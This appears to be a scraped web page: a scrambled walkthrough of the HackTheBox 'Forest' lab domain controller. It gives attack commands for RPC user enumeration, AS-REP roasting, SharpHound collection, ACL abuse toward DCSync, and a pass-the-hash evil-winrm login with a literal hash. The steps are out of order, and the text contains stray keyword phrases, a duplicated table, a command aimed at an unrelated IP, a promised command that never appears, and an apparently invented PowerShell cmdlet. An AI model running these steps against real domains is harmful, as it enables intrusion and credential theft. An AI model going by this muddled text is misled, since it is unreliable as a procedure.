Forest Hackthebox Walkthrough Best Here

| Port | Service | State | |------|---------|-------| | 53 | DNS | open | | 88 | Kerberos | open | | 135 | MSRPC | open | | 139 | NetBIOS | open | | 389 | LDAP | open | | 445 | SMB | open | | 464 | Kerberos change pw | open | | 593 | RPC over HTTP | open | | 636 | LDAP SSL | open | | 3268 | Global Catalog | open | | 3269 | Global Catalog SSL | open | | 5985 | WinRM | open |

We can perform the ACL manipulation remotely using the dacledit.py script (part of impacket ). Because svc-alfresco is in Account Operators , it inherently has the right to add users and groups to the domain. We will use this to add a user we control to the Exchange Windows Permissions group. This will allow us to subsequently give ourselves DCSync permissions to the domain. However, the most direct route is to simply grant the svc-alfresco user the privilege using the following commands (executed from a Domain Controller perspective):

10.10.10.161 OS: Windows Server 2016 (Domain Controller) Domain: htb.local Difficulty: Medium

upload /path/to/SharpHound.exe .\SharpHound.exe --CollectionMethod All Use code with caution. Download the resulting zip file to your local machine: download 20260526113700_BloodHound.zip Use code with caution. Drag and drop the zip file into the BloodHound GUI. Analyzing the Attack Path forest hackthebox walkthrough best

evil-winrm -i 10.10.10.161 -u Administrator -H 32693b11e6aa49214331502214141681 Use code with caution. Once connected, retrieve the final flag: powershell type C:\Users\Administrator\Desktop\root.txt Use code with caution.

After a few moments, Hashcat successfully cracks the hash.

smbclient //10.10.10.79

We have a list of valid usernames. This allows us to proceed to the next attack vector: Kerberos User Enumeration.

Upload and run SharpHound.exe via your WinRM session. powershell Invoke-Binary -Path ./SharpHound.exe -Method CheckIn Use code with caution.

impacket-addcomputer htb.local/svc-alfresco:'s3rvice' -computer-name FAKE01 -computer-pass 'Password123!' | Port | Service | State | |------|---------|-------|

Active Directory enumeration, AS-REP Roasting, BloodHound analysis, ACL exploitation. Step 1: Reconnaissance & Port Scanning

Because SMB null sessions are restricted, use rpcclient or enum4linux-ng to harvest valid domain usernames. rpcclient -U "" -N 10.10.10.161 rpcclient $> enumdomusers Use code with caution.